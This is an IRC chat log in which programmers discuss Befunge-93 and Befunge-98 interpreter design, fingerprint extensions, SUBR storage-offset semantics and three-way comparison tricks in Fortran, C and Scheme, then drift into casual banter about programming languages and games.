16:31:09 <AnMaster> zid, he is well known for making inconsistent/incomplete/confusing fingerprints
16:31:17 <AnMaster> he is also well known for making a lot of fingerprints
16:31:17 <zid> Can I make my own somehow?
16:31:29 <Warrigal> All əf ðəm are usəbəl in Engliʃ. :-P
16:31:30 <ais523> cfunge is extensible to new fingerprints
16:31:32 <Deewiant> zid: Write a spec and hope people implement it. :-P
16:31:35 <zid> I'm kinda back to where I started actually, adding my own symbols to funge 93 :P
16:31:44 <AnMaster> zid, sure, just make a text file and describe what each one does. Then publish it and hope someone implements it
16:31:55 <AnMaster> I think ais523 can describe it from a user viewpoint
16:32:14 <AnMaster> (since I know the code so well, what with having written all of it)
16:32:26 <zid> I just wanna know how to write the glue
16:32:42 <ais523> zid: it's basically a fingerprint description file, plus one C file that does the implementation
16:32:49 <zid> ais523: works for me
16:32:52 <AnMaster> zid, these files are used to generate 1) a skeleton file for the fingerprint 2) the table of the fingerprints used when loading them
16:32:58 <AnMaster> there are two scripts in tools/ for that
16:32:58 <Deewiant> How is that any more extensible than any other interpreter
16:32:59 <zid> it just takes n ints and you cast them and call the right thing?
16:33:14 <AnMaster> tools/gen_fingerprint.sh and tools/gen_fprint_list.sh
16:33:33 <AnMaster> zid, for SOCK? Err the fd and the ID isn't an 1:1 mapping
16:33:40 <zid> I meant in general
16:33:46 <zid> how one goes from a befunge stack to a C call
16:34:05 <AnMaster> zid, oh it doesn't work like that. It is an interpreter, not a compiler remember
16:34:14 <zid> doesn't have to be
16:34:16 <AnMaster> rather you a passed an instruction pointer structure
16:34:31 <AnMaster> which contains pointer to stack and such
16:34:41 <AnMaster> see src/stack.h for functions to work on the stack
16:34:51 <zid> sounds a bit silly to me imo
16:35:01 <zid> the method
16:35:08 <AnMaster> that is because you can have several of them
16:35:14 <zid> I'd just pass an int * :P
16:35:25 <AnMaster> zid, how would you know what the top was then...
16:35:25 <Deewiant> There's more to the interp than a stack.
16:35:48 <zid> mine did just that, infact
16:36:02 <AnMaster> stack is { size of allocated block of stack, current top element, pointer to the data block }
16:36:02 <zid> yea, I have no idea what 98 is
16:36:11 <zid> mine was literraly switch 'C': C();
16:36:15 <Deewiant> Yea, -93 is an order of magnitude or two simpler.
16:36:29 <zid> and C just had a protocol that correctly handled the ABI for popping/unpopping values
16:36:31 <AnMaster> zid, and you can have a much larger funge-space
16:36:45 <zid> my 93 never stuck to that
16:36:52 * zid goes to read the wiki page
16:36:57 <AnMaster> cfunge is either (2^32)x(2^32) or (2^64)x(2^64)
16:37:02 <AnMaster> depending on compile time option
16:37:18 <zid> why is passing a pointer to the stack so unpossible?
16:37:29 <Deewiant> Because more info is needed than just that stack.
16:37:51 <Deewiant> Is there something bad about passing a pointer to a structure which contains a stack? :-P
16:37:54 <AnMaster> the current position of the IP, the current storage offset, loaded fingerprints, ...
16:38:12 <Deewiant> I don't think anybody forgot anything
16:38:28 <zid> I just know the little symbols
16:38:32 <AnMaster> if he didn't know, he couldn't forget
16:38:44 <AnMaster> befunge-98 has a stack of stacks, normally you work with the top stack like in befunge-93
16:38:53 <AnMaster> but you can push a new stack too
16:39:00 <zid> my operators were just C functions like I said
16:39:20 <zid> I mean literally just C functions
16:39:27 <zid> I use the program stack as befunge's stack
16:39:29 <AnMaster> well, the simpler ones are inlined in the switch block
16:39:38 <AnMaster> zid, how would you push on that stack...?
16:39:44 <zid> AnMaster: 'push'
16:40:06 <zid> there were only 2 opcodes that actually modified the stack afterall
16:40:11 <AnMaster> zid, well, considering that the x86_64 calling convention is to pass arguments in the registers this would be messy
16:40:17 <AnMaster> I'm not developing for only x86
16:40:25 <AnMaster> in fact I hardly work on 32-bit x86 at all
16:40:28 <zid> you can use whatever calling convension you like
16:40:34 <zid> as long as you don't try to call libc with t
16:40:34 <AnMaster> most of the time I work on either x86_64 or sparc
16:41:00 <AnMaster> Deewiant, yes, I have ssh access to one. Useful to test for endianness issues
16:41:05 <zid> AnMaster: just trade your r15 or whatever the stack reg is out for the original
16:41:19 <zid> mine reloaded the stack register when needing to enter back into libc code
16:41:43 <AnMaster> zid, I'm not doing asm in general! There is one place I do have a fast-track SSE version, with a C fallback if it isn't supported
16:42:07 <zid> I also implemented an emulator using page faults
16:42:15 <zid> to service writes to IO ports the page fault handler did them
16:42:20 <AnMaster> zid, talk with fizzie instead then :D
16:42:27 <AnMaster> he is working on jitfunge after all
16:42:40 <AnMaster> catching sigsegv to detect when he needs to grow the befunge stack
16:43:01 <zid> It's almsot entirely how NTVDM works actually
16:43:58 <ais523> I've managed some pretty impressive crashes in NTVDM before now
16:44:15 <zid> so yea anyway, reloading rsp with a value returned by malloc and letting befunge opcodes use an x86 stack transparently is win
16:44:16 <ais523> although even just running the DOS version tar causes it to crash when tar exits, for some reason
16:44:24 <AnMaster> zid, anyway: http://catseye.tc/projects/funge98/doc/funge98.html
16:44:48 <zid> heh nice coordinate system
16:45:03 <zid> with y flipped
16:45:12 <AnMaster> well yes, but that is what befunge-93 has too iirc?
16:45:13 <zid> AnMaster: has 4 quadrents
16:45:22 <zid> befunge doesn't do negative coords
16:45:33 <AnMaster> but it is the same for the positive quadrant basically
16:45:41 <zid> yea, it just extends it
16:46:07 <zid> I prefer 93 still so far
16:47:12 <zid> http://www.zachtronicsindustries.com/kohctpyktop/kohctpyktop.htm
16:47:14 <zid> Played that?
16:47:25 <zid> I had great fun learning to play it
16:47:57 <Deewiant> I liked the earlier one about alchemy
16:48:01 <zid> AnMaster: Oh, can you fork() in 98?
16:48:05 <zid> that'd get round the need for select
16:48:11 <zid> Deewiant: that one was hard :/
16:48:17 <zid> getting it all in sync was a pain in the ass
16:48:23 <AnMaster> zid, there are *threads* but they are not OS level threads
16:48:25 <zid> I only got to like level 7
16:48:29 <AnMaster> you could run with system() though
16:48:36 <Deewiant> I thought this one was much harder, maybe I just wasn't interested enough :-P
16:48:48 <AnMaster> zid, so spec an improved fingerprint
16:48:50 <zid> Deewiant: Harder for different values of hard
16:48:57 <AnMaster> Deewiant, ATHR is mostly complete
16:49:02 <zid> Deewiant: frst one was just stupidly fiddly, this one is hard because I didn't know any EE
16:49:27 <zid> let's extend brainfuck with i/o ports yarr!
16:49:27 <AnMaster> Deewiant, the actual fingerprint interface is missing, but almost all the core parts needed to support it are done.
16:49:46 <AnMaster> Deewiant, and, I haven't implemented SOCK for efunge yet.
16:49:48 <Deewiant> ATHR would of course imply fork of a sort.
16:49:58 <AnMaster> Deewiant, it does imply async threads though
16:50:09 <Deewiant> That doesn't matter, you just need to finish ATHR so that CCBI can do it. :-P
16:50:12 <AnMaster> or at least highly recommends.
16:50:24 <AnMaster> Deewiant, yeah, but first the mine sweeper
16:50:42 <Warrigal> You know, people seem to be pretty unanimously annoyed by my digraφ antics.
16:50:53 <zid> unicode funge?
16:51:06 <zid> ßut it's so cool!
16:51:06 <AnMaster> befunge is well suited to literate programming.
16:51:14 <zid> æverybody should use utf-8
16:51:17 <ais523> just as well as TECO is
16:51:55 <AnMaster> Warrigal, which ones? I extended the pikhq/GregorR-correction script to include your stuff too
16:52:03 <game16> oh, no one here does J i supposed?
16:52:07 <Warrigal> Hmm, let me compile an alphabet.
16:52:31 <AnMaster> if you mean the programming language J
16:52:35 <zid> I should just extend 93 with sockets
16:52:44 <AnMaster> zid, what is wrong with 98 in general?
16:52:46 <game16> well, no one in this room now
16:52:58 <AnMaster> something I have been working on too
16:53:14 <Warrigal> a b c ĉ d ð e ə f g h i j k χ l m n ŋ o p φ ψ q r ɚ s ʃ t þ u v w x y z
16:53:17 <zid> AnMaster: I just like the idea of spatial programming, not funge*
16:53:40 <zid> I'd write my own character set but befunge's is adequate
16:53:51 <Warrigal> All of them have uppercase forms except ɚ.
16:53:54 <AnMaster> zid, try trefunge? Though then I guess you are stuck with pyfunge and/or rc/funge
16:54:03 <AnMaster> lifthrasiir, does pyfunge handle trefunge yet?
16:54:11 <zid> My friend implemented trefunge
16:54:27 <AnMaster> zid, that is a part of funge-98
16:54:36 <AnMaster> une/be/tre are described there
16:54:42 <zid> Deewiant: yea
16:54:52 <Deewiant> AnMaster: Not officially, but it's not exactly unobvious
16:54:56 * zid writes a fungeoid
16:58:45 <AnMaster> would it be sane to limit mine count to X*Y-1?
16:59:11 <AnMaster> Deewiant, that would mean all mines
16:59:25 <AnMaster> which would make the "initial not a mine" impossible
16:59:40 <zid> I'd limit it to x*y/x+y
17:00:06 <AnMaster> I assume that parses at ((x*y)/x)+y ?
17:00:23 <zid> (x*y)/(x+y)
17:00:24 <AnMaster> zid, then you were missing some parentheses
17:00:36 <Deewiant> That's a quite anal limitation
17:01:00 <zid> polish notation?
17:01:15 <zid> I never did get that, but also, i've never tried
17:01:26 <AnMaster> or do you use bc to calculate stuff with?
17:01:27 <FireFly> And, incidentally, valid Befunge code
17:01:58 <AnMaster> FireFly, valid befunge-98 code too, but x and y there aren't going to do what you want
17:02:17 <AnMaster> assuming that is the whole program it will freeze on the x
17:02:23 <AnMaster> since you just set the delta to 0,0
17:02:37 <FireFly> Well, if x and y were digits, it'd do the same equation
17:03:11 <zid> someone got a test file I can use?
17:03:15 <zid> my funge interp is ready to roll
17:04:13 <ais523> try Mycology, it can test both, although it's designed for 98
17:07:36 <zid> 93, which file?
17:07:48 <zid> the .bf ones?
17:07:57 <AnMaster> zid, same file, the 93 area is the first 25x80
17:08:08 <AnMaster> otherwise you can just cut out that bit
17:08:47 <zid> I just want a little file that uses all the operators
17:09:05 <Deewiant> If it doesn't crash, you're fully compliant
17:09:31 <zid> Now I have to get sidetracked writing funge! oh noes
17:09:42 <Deewiant> If you want a proper test, get Mycology as mentioned.
17:09:50 <zid> that tests 98
17:10:24 <Deewiant> An essentially full Befunge-93 test suite fits in 80*23 IIRC.
17:10:45 <Deewiant> Including relatively verbose messages and error handling, of course.
17:14:38 -!- augur has quit (Read error: 104 (Connection reset by peer)).
17:14:47 <AnMaster> Deewiant, about ATHR, remember efunge is the reference implementation there. ;)
17:14:54 -!- augur has joined.
17:16:44 <pikhq> Firefox 3.5 comes out today. Whoo.
17:16:51 <pikhq> s/comes out/came out/
17:17:07 <AnMaster> so that is why the internet is so slow :P
17:17:45 <zid> I might have to stop using minefield
17:21:51 <pikhq> Not in portage *quite* yet.
17:22:25 <pikhq> (mozilla-firefox-bin-3.5 is there, but hardmasked; mozilla-firefox-3.5 and xulrunner-1.5 aren't up yet)
17:26:02 <AnMaster> when talking about a graph, do you say "axes" or "axises"?
17:34:07 <AnMaster> is it different from plural of axe?
17:34:19 <pikhq> Yes, it's pronounced differently.
17:34:32 <AnMaster> pikhq, not sure what you mean with long e
17:35:23 <AnMaster> Ok, I think I invented a fully literate befunge programming style...
17:38:54 <Deewiant> Befunge is quite easy to do literate programming in...
17:39:02 <ais523> possibly even easier than TECO
17:39:19 <ais523> (when using comments that don't look like label names, ! in TECO is effectively toggle-comment)
17:48:15 <AnMaster> when coding C or a similar language would you write: if ((x > MINVAL) && (MAXVAL > x)) or if ((x > MINVAL) && (x < MAXVAL))
17:49:14 <AnMaster> Deewiant, what do you think of this:
17:49:35 <AnMaster> the arrow at the top goes to error handing code
17:49:40 <Deewiant> I don't know, what should I think
17:49:50 <AnMaster> Deewiant, I like the reversing bit :P
17:50:10 <AnMaster> Deewiant, makes the code flow a look a lot nicer than having to handle w going off the other way
17:50:30 <Deewiant> Yes, \ can make the results of w easier to deal with
17:50:43 <AnMaster> Deewiant, prettier in this case
17:51:30 <AnMaster> Deewiant, btw, assuming some befunge without ` and w, how would you test for "greater than" then
17:52:06 <fizzie> Loop which does "1-" up to some maximum time, with a :#v_ -style test to break the loop if the result is 0.
17:52:06 <AnMaster> method should work for both negative an positive integers
17:52:07 <Deewiant> Bit math works if you can sacrifice portability
17:52:30 <AnMaster> assume user provided both integers
17:52:46 <AnMaster> (and you somehow can't know if it is negative or positive)
17:52:56 <AnMaster> Deewiant, only if you don't have a bignum befunge
17:53:14 <Deewiant> With a bignum interpreter I don't think it's possible
17:53:24 <Deewiant> Since bit math would presumably not work either.
17:53:56 <AnMaster> Deewiant, those are in fingerprints only iirc
17:54:04 <Deewiant> Keep on dividing by 2, if x-1 is 0 it was positive if x+1 is 0 it was negative?
17:54:15 <Deewiant> AnMaster: Bit math can be done with / and %.
17:54:35 <Deewiant> Yes, that's what I was going for
17:54:47 <AnMaster> Deewiant, then why "<Deewiant> Since bit math would presumably not work either."
17:54:50 <fizzie> Just ask the user to input the smaller (or larger) number first. Impolite users get infinite loops, but that's their own fault.
17:55:10 <AnMaster> Deewiant, why wouldn't bit math work?
17:55:25 <Deewiant> Because we can't assume that we can get at the sign bit eventually
17:55:33 <Deewiant> Since there probably isn't one in the traditional sense.
17:55:52 <Deewiant> But I guess that's essentially what my above solution does.
17:55:59 <AnMaster> Deewiant, oh you are assuming two-complement?
17:56:17 <AnMaster> Deewiant, is that signed or unsigned div/mod?
17:56:22 <AnMaster> because afaik befunge only has signed ones
17:56:39 <Deewiant> Or you meant for the bit math?
17:56:46 <fizzie> Given that Befunge-93 was supposed to ask the user for the result in case of 0/, I rather like any "ask the user" solutions.
17:57:08 <Deewiant> Then it has to be unsigned, true.
17:57:31 <AnMaster> Deewiant, so that method won't work in any sort of befunge then with no fingerprints
18:03:45 <AnMaster> Deewiant, oh right, that fingerprint listing isn't alphabetical
18:05:55 <fizzie> Too bad k behaviour is not defined for negative arguments. If it were specced so that "k ignores the instruction if the count is <= 0" you could use that for negativity-testing.
18:06:24 <fizzie> I think you can still (ab)use { for that, as long as you don't mind pushing |n| numbers on the stack.
18:07:41 <Deewiant> y pushes the full sysinfo given <= 0
18:07:57 <ais523> you'd need to use the stack stack to plausibly get rid of it again
18:08:13 <AnMaster> fizzie, cfunge reflects on negative argument to k iirc
18:08:45 <AnMaster> Deewiant, some may do abs(Count) iterations iirc
18:09:08 <Deewiant> None do that I know of, it's just a possible message in Mycology
18:09:22 <AnMaster> Deewiant, I think very early revisions of cfunge did that
18:09:25 <Deewiant> In any case, it was in reply to ais523, not as a negative number test.
18:09:38 <Deewiant> AnMaster: I seem to recall you complaining that nothing does that so why is the test there :-P
18:10:00 <Deewiant> AnMaster: Now your `-workaround has the side effect of clearing the whole stack :-P
18:10:02 <AnMaster> Deewiant, maybe I misremember there
18:10:26 <Deewiant> AnMaster: "greater than instruction"-
18:10:52 <AnMaster> Deewiant, I hardly ever use `, w is often a lot simpler
18:11:16 <AnMaster> that would be a three-way if or something
18:11:25 <fizzie> I hardly ever use w, because ` is often a lot simpler. (Generally I have just two cases, and I dislike the goes-three-ways thing.)
18:12:03 <Deewiant> With ` I never remember which way it compares, with w it's more obvious to me
18:12:45 <fizzie> I just like #v_ since it's "forward or down"; with w (entering from left) there always needs to be something above the line too.
18:14:57 <AnMaster> Deewiant, hm TOYS: "S ('chicane') pops two vectors off the stack, then a cell, then fills that area of Funge-Space homogenously with that cell's value. "
18:15:14 <AnMaster> you interpret it as first vector Position, second is width/height?
18:15:20 <zid> I was outside!
18:15:27 <AnMaster> Deewiant, however I think that is unclear
18:15:30 <Deewiant> And yes, it's not well specified.
18:15:50 <fizzie> If Fortran had Perl's <=> operator, you could write "GO TO (1,2,3), 1 + (A <=> B)" to get a w-like thing; it goes to line 1, 2 or 3 if A is (respectively) smaller than, equal to or greater than B. (But it doesn't have that operator. You can define a comparison function, though.)
18:16:23 <AnMaster> Deewiant, so what will taking that as two (storage offset relative) positions in funge space and then filling the block inside them do in mycology?
18:16:30 <AnMaster> Deewiant, I guess it handles it and does UNDEF?
18:16:35 <fizzie> I used the computed-goto in my Fortran Befunge-93 interpreter. :p
18:16:48 <Deewiant> I guess it says BAD, not sure. Why don't you run it and see if it says GOOD now?
18:16:52 <Deewiant> If it says GOOD now, it expects that.
18:16:59 <AnMaster> Deewiant, I don't implement it that way
18:17:02 <Deewiant> I don't think there are any cases which can be both GOOD and UNDEF.
18:17:05 <AnMaster> I was just considering, "what if"
18:17:16 <zid> Where's my medal?
18:17:21 <Deewiant> AnMaster: Yes, I know, and that's what I assumed as well.
18:17:34 <AnMaster> fizzie, what does <=> do in perl
18:17:38 <Deewiant> If you'll read what I said, I did mean running it with what you've currently got that works (cfunge)
18:17:44 <fizzie> Deewiant: http://pastebin.com/m585c7f7e
18:17:44 <ais523> AnMaster: sign of difference
18:17:51 <fizzie> AnMaster: Returns -1, 0 or 1.
18:18:44 -!- nooga_ has quit (Remote closed the connection).
18:19:01 <Deewiant> So then it'll say BAD for the other.
18:19:12 <AnMaster> Deewiant, might be better to keep it that way
18:19:27 <fizzie> The second GOTO is possibly even sillier. "GOTO FOO, (1,2,3,4)" is an assignable goto; you can write "ASSIGN 2 TO LMOV" after which it will do "GOTO 2"; but you can only assign one of the possible numbers listed there.
18:19:43 <AnMaster> Deewiant, or we will soon end up with almost everything UNDEF
18:19:43 <fizzie> Er, "ASSIGN 2 TO FOO". (LMOV was the name in the paste.)
18:20:20 <AnMaster> fizzie, is there an "any target" variant?
18:20:40 <fizzie> I think just "GOTO FOO" without the list is like that.
18:20:54 <fizzie> But! There *is* a built-in three-way IF in fortran.
18:21:13 <fizzie> "IF (numerical_expression) snr1, snr2, snr3" will jump to snr1 if the expression is negative, snr2 if zero, snr3 if positive.
18:21:20 * zid likes the ? operator
18:21:59 <zid> AnMaster: just use two ? operators :P
18:22:06 <zid> macro + two ? = quad
18:22:25 <AnMaster> zid, the whole discussion was about "wish we had befunge-98 w in C or similar"
18:22:50 <AnMaster> of course you can write it differently
18:26:06 <zid> there ya go
18:26:19 <fizzie> It's tricky to write that W macro so that it wouldn't evaluate the test twice.
18:26:34 <zid> this is true
18:26:37 <fizzie> Or alternatively potentially conflict with some name.
18:26:41 <zid> use {int r = }
18:26:48 <zid> make a new block
18:27:01 <fizzie> That still breaks if your expression uses a variable "r".
18:27:06 <AnMaster> hm I should make my minesweaper depend on nested k
18:27:13 <fizzie> In a sensible language you could just...
18:27:14 <fizzie> > (define-syntax compare (syntax-rules () ((_ exp neg zero pos) (let ((e exp)) (cond ((< e 0) neg) ((= e 0) zero) (else pos))))))
18:27:14 <fizzie> > (compare (- 4 6) 'is-negative 'is-zero 'is-positive)
18:27:16 <lambdabot> <no location info>: parse error on input `='
18:27:16 <lambdabot> lexical error in string/character literal at chara...
18:27:29 <fizzie> lambdabot: It was a bit of Scheme, I wasn't talking to you.
18:27:58 <zid> fizzie: use an UPPER_CASE_VARIABLE I guess
18:28:11 <AnMaster> zid, wouldn't work for nesting the macro
18:28:12 <fizzie> Yes. The macro system does the necessary magic so that the "e" there does not conflict with anything.
18:28:35 <AnMaster> fizzie, ah, I only used the old style scheme macros
18:28:42 <zid> schemeeing buggers
18:28:45 <fizzie> There you can usually gensym, then.
18:28:56 <AnMaster> fizzie, yeah, but the clean ones look a lot nicer
18:29:30 <AnMaster> hm... We need a "befunctional" just to annoy zid :D
18:29:37 <AnMaster> I don't know how it would work
18:29:41 <AnMaster> haven't worked out the details
18:30:46 <fizzie> A bit nicer, anyway. It's not that horrible with gensym either. (define-macro compare (lambda (exp neg zero pos) (let ((t (gensym))) `(let ((,t ,exp)) (cond ((< ,t 0) ,neg) ((= ,t 0) ,zero) (else ,pos))))))
18:30:58 <fizzie> (For Gambit-C's define-macro, anyway.)
18:31:28 <fizzie> Have to prepare some food now though.
18:31:39 <zid> grasshoppers on toast
18:34:08 <AnMaster> Associat0r, uh? who are you talking to
18:34:29 <zid> moon people
18:40:41 -!- augur_ has joined.
18:40:41 -!- augur has quit (Read error: 104 (Connection reset by peer)).
18:56:12 <ais523> we had a moon person in here a while ago
18:56:18 <ais523> at least, someone who thought they were
18:56:53 * pikhq wants to move to the moon
18:57:06 -!- jix has quit (Read error: 113 (No route to host)).
19:03:37 -!- kar8nga has joined.
19:21:26 -!- kar8nga has quit (Read error: 60 (Operation timed out)).
19:22:39 -!- kar8nga has joined.
19:27:30 <AnMaster> should I use SUBR or not in that minesweaper
19:27:44 <AnMaster> it does feel a bit like cheating, yet it is a lot simpler
19:28:19 <AnMaster> actually, it will mess up my storage offset. Not a good idea.
19:30:13 * AnMaster invents call lanes, on the call highway.
19:30:38 * AnMaster invents call lanes, on the befunge highway.
19:33:11 <AnMaster> or I guess you could call it control flow bus
19:48:44 <AnMaster> Deewiant, about SUBR... is "Vectors in this function work directly on the IP and not through funge-space, therefore the IP storage offset does not apply to these vectors. " a new addition by Mike?
19:49:19 <Deewiant> No idea, neither Mycology nor CCBI have been updated to reflect that
19:49:33 <Deewiant> It was a result of your discussion with him about SUBR's offset-interestedness
19:49:54 <AnMaster> Deewiant, tha absolute/relative O/A was your "fault" iirc
19:50:00 <AnMaster> Deewiant, oh it might be that return address being pushed absolute
19:50:08 <AnMaster> which is what cfunge does anyway
19:50:17 <AnMaster> since it doesn't make sense to have that relative ever
19:50:30 <AnMaster> (since that would mess up return if storage offset was changed)
19:50:43 <AnMaster> (and it makes sense to have a sub routine for changing storage offset IMO)
19:51:06 <Deewiant> No matter how it's done, some sequence of changing/not changing storage offsets will cause it to subtly break.
19:51:32 <AnMaster> Deewiant, pretty sure it that is not the case
19:51:58 <AnMaster> Deewiant, just using the absolute mode solves it
19:52:14 <AnMaster> Deewiant, just use the absolute mode for the calls...
19:52:37 <Deewiant> AnMaster: So now that code isn't position-independent.
19:52:49 <AnMaster> Deewiant, it wasn't size independent before
19:53:06 <AnMaster> Deewiant, and anyway I have fixed data relative my storage offset here
19:53:51 <AnMaster> Deewiant, if a SUBR function grows and you need to move something else, you need to adjust the calls to use the new position and such
19:54:19 <AnMaster> unless you use some SUBR/call lanes hybrid
19:54:32 <AnMaster> that is calling a global table and following arrows from there to the real function
19:54:39 <Deewiant> But that's all your own code. Something like slowdown.b98, which can't know what it gets, will break SUBR.
19:55:00 <AnMaster> Deewiant, sure. But slowdown will always break stuff
19:55:17 <AnMaster> Deewiant, I change my storage offset early on here to be 0,-27
19:55:23 <Deewiant> It breaks stuff that relies on an initial (0,0) offset
19:55:53 <AnMaster> Deewiant, I think it is perfectly sensible to rely on that in most befunge-programs
19:56:42 <Deewiant> On an initial (0,0) offset, yes. Relying on absolute addressing to work is inviting trouble if your program grows a lot.
19:56:45 <AnMaster> Deewiant, my idea was this: http://pastebin.ca/index.php
19:56:52 <AnMaster> but then I realised it won't work well for returns
19:57:57 <AnMaster> Deewiant, those are modules, there will only be one entry point
19:58:09 <AnMaster> but some modules may be called from several places
19:58:40 <AnMaster> so new idea is same, but at the top have some row like: vvvvvv
19:58:46 <AnMaster> and then absolute SUBR jump to there
19:58:54 <AnMaster> and let SUBR handle the return stuff
19:59:01 <AnMaster> Deewiant, does that seem sane to you?
19:59:22 <AnMaster> Deewiant, how would you solve it
20:00:16 <AnMaster> Deewiant, because the position you should jump to will change as the code grows
20:00:32 <AnMaster> it doesn't matter if you use relative or absolute
20:01:21 <Deewiant> Relative works if it's relative to some point above all the functions
20:01:48 <AnMaster> Deewiant, what happens to the functions after when one of the function grows some 20 new lines?
20:02:32 <AnMaster> Deewiant, as far as I can see the coordinate will have to change for them then
20:02:34 <Deewiant> Well yeah, you can't hard-code it, true enough
20:03:10 <AnMaster> Deewiant, so I don't know about this "PIC" bit for it. PIC enough for slowdown maybe. But not PIC enough to actually be useful.
20:05:33 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
20:06:05 -!- zid has changed nick to Guest2400.
20:07:53 <AnMaster> Deewiant, oh and this is why adding new stuff like that A/O for SUBR is bad. I'm using FING to pick from various fingerprints.
20:08:16 <AnMaster> Deewiant, adding new instructions to existing fingerprints can easily break that.
20:08:25 <fungot> AnMaster: on the outer bindings. i think it got those from.
20:08:43 <fungot> Available: agora alice c64 darwin discworld europarl ff7 fisher ic irc* jargon lovecraft nethack pa speeches ss wp youtube
20:09:15 <Deewiant> There are many valid reasons for why it's bad; I debunk them all by saying that since the users are all here anyway, it really doesn't matter. Besides, changelogs exist for that sort of thing.
20:10:07 <AnMaster> Deewiant, Is Mike here? Not a lot
20:10:41 <Deewiant> He isn't a user, he's an implementer.
20:11:07 <Deewiant> Besides, we know of him so it's the same thing.
20:11:19 <fizzie> I'm a doctor, not an elevator!
20:11:55 <fizzie> It's a Star Trek reference; I'm not sure if that particular "not a" has been said, though.
20:12:19 -!- nooga has joined.
20:12:20 <Deewiant> Seriously, when you have a language with approximately 10 users and if you're capable of writing in your changelog "THIS BREAKS PROGRAMS THAT ASSUMED SUBR DOESN'T HAVE X", it really makes no difference at all what you do.
20:12:26 -!- Guest2400 has changed nick to zid.
20:12:28 <AnMaster> fizzie, wasn't it "I'm a doctor, not a mechanic"?
20:12:37 <fizzie> AnMaster: Not just that. http://memory-alpha.org/en/wiki/I'm_a_doctor,_not_a...
20:12:54 <fizzie> "Escalator" has been used; I may have been remembering that one.
20:13:14 <AnMaster> so much for smart link clicking... it thought the last . was "end of sentence" one.
20:13:35 <fizzie> "..." isn't probably very common in URLs.
20:14:19 <Deewiant> http://www.google.com/search?q=inurl%3A...
20:15:17 <zid> I got really really sidetracked
20:15:35 <AnMaster> Deewiant, but then it might do some mangling messing up here
20:15:50 <fizzie> I am a bit suspicious of that. inurl:foo.bar seems to find "foobar" and "foo-bar" and "foo/bar" even if I add quotes. It's definitely not just substring-matching there.
20:15:50 <AnMaster> it is like trying to google after something containing literal "
20:25:41 <zid> I was supposed to be writing an interpreter
20:26:17 <zid> I wrote exactly up to the point where it was supposed to format the input for the grid, and got distracted
20:28:59 -!- sebbu has joined.
20:34:56 -!- sebbu2 has quit (Connection timed out).
20:39:08 <AnMaster> (the identity matrix can be represented as a grid!)
20:44:36 -!- ais523 has quit (Read error: 104 (Connection reset by peer)).
20:45:50 -!- ais523 has joined.
20:48:01 <zid> There, funge loader finished
20:49:41 <zid> took me 10 mins when I actually sat down and did it, like most of the code I write
20:49:51 <zid> AnMaster: both, kinda, it will support 98 when it needs to
20:50:07 <zid> atm it's capable of reading mycology.b98 and only reading the 80x25 chunk out
20:50:30 <AnMaster> zid, there are plenty of implementations capable of both 93 and 98
20:50:49 <AnMaster> it's coded in python yes, why?
20:51:08 <zid> I just threw up in my mouth a little bit :(
20:51:22 <AnMaster> cfunge has a compatiblity mode for 93 that changes the spacing rule, which tends to work well for most programs (but not all)
20:51:26 <zid> Java also provokes the same reation
20:51:30 <AnMaster> I'm probably going to drop that
20:51:45 <zid> and ruby and visual basic
20:51:48 <AnMaster> zid, java I can see, python isn't that bad
20:51:53 <pikhq> zid: ... What languages do you know, and what OS do you use?
20:52:15 <zid> pikhq: I use mainly C, I run linux on my desktop
20:52:26 <Zuu> Lemme answer that: Windows RG and JavaScript
20:52:33 <zid> windows RG rules
20:52:41 <zid> and windows CeMeNT
20:52:47 <pikhq> C is awful. Except for all the other systems programming languages out there. :P
20:53:03 <zid> really good edition
20:53:14 <zid> it's an implementation of windows in flash
20:53:16 <Zuu> AnMaster, it's the Really Good edition :)
20:53:19 <zid> it just crashes when you click things
20:53:37 <Zuu> AnMaster, And im me... as strange as it sounds :)
20:53:40 <zid> he followed someone
20:53:46 <zid> put the birdy down
20:53:53 <Zuu> Deewiant, dunno :)
20:54:08 <Zuu> zid, not exacly
20:54:17 <AnMaster> pikhq, C is good for when you need the low level stuff and/or the speed.
20:54:20 <Zuu> AnMaster, you can say that
20:54:31 <AnMaster> but yeah I tend to prefer other languages than C nowdays
20:54:38 <zid> http://spoonybard.org/fanlisting/dawn/zuu.jpg
20:54:42 <AnMaster> Erlang and Scheme mostly nowdays
20:54:44 <Zuu> zid, it's more like i led someone here, and decided to stay myself
20:54:45 <Deewiant> I see you're still banned at #d
20:54:46 <pikhq> AnMaster: Like I said. It's awful, but all other systems programming languages are worse.
20:54:50 <zid> AnMaster: I code for fun not to be in with crowds
20:55:04 <zid> take haskell, i'm sure it's great
20:55:09 <pikhq> Hrm. There's none that are in common use.
20:55:11 <zid> if you like to masturbate to language design
20:55:12 <AnMaster> I plan to learn it when I get some time
20:55:21 <pikhq> zid: Haskell is fun.
20:55:28 <zid> but is it.. useful?
20:55:38 <Zuu> Deewiant, oh! Well even if i werent i wouldnt come back till someone has removed JimPanic :)
20:55:39 <AnMaster> pikhq, C mixed with some asm is what is used for kernels mostly
20:55:52 <zid> I've never seen anything written in haskhell, just people teling me how awesome something would be when written in haskell
20:55:52 <Zuu> zid, i get that a lot (the birdie)
20:56:28 <Zuu> Deewiant, still?
20:57:00 <Zuu> Deewiant, that long? Sneaky
20:57:01 <AnMaster> well, blur with unsharp mask filter
20:57:08 <pikhq> zid: It's ridiculously nice to program in and has a very nice FFI.
20:57:16 <pikhq> I'm going to call that 'useful'.
20:57:16 <Zuu> Deewiant, i dont really remember :)
20:57:23 <pikhq> Oh, and GHC is a rather speedy compiler.
20:57:31 <AnMaster> Zuu/zid what is that bird supposed to be
20:57:33 <pikhq> Erm. s/speedy/good/
20:57:44 <AnMaster> I guess this is some popular culture reference I'm missing again...
20:57:47 <pikhq> Also, infinite lists.
20:57:51 <Zuu> Deewiant, but there does exist a channel in which i have been banned for 3 years with even less reason than from #D :P
20:58:11 <zid> AnMaster: It's.. a zuu
20:58:17 <Zuu> AnMaster, apparently its a monster called Zuu (from some game)
20:58:36 * Zuu doesnt know
20:58:39 <zid> any using monsters from mythology
20:58:47 <Zuu> pikhq, i dont want to :)
20:58:51 <zid> they're in a half dozen rpg games, final fantasy has them in a few
20:58:57 <AnMaster> zid, um, I played plenty of rpgs with no "zuu"s
20:59:34 <GregorR-L> AnMaster: I doubt it, you probably just didn't notice them because they're not a major boss or something.
20:59:55 <Zuu> it's a GregorR!
20:59:58 <AnMaster> GregorR-L, depends on what sort of rpg. Ever played avernum? I had it on my old mac.
21:00:07 <AnMaster> unusual fantasy rpg/adventure mix
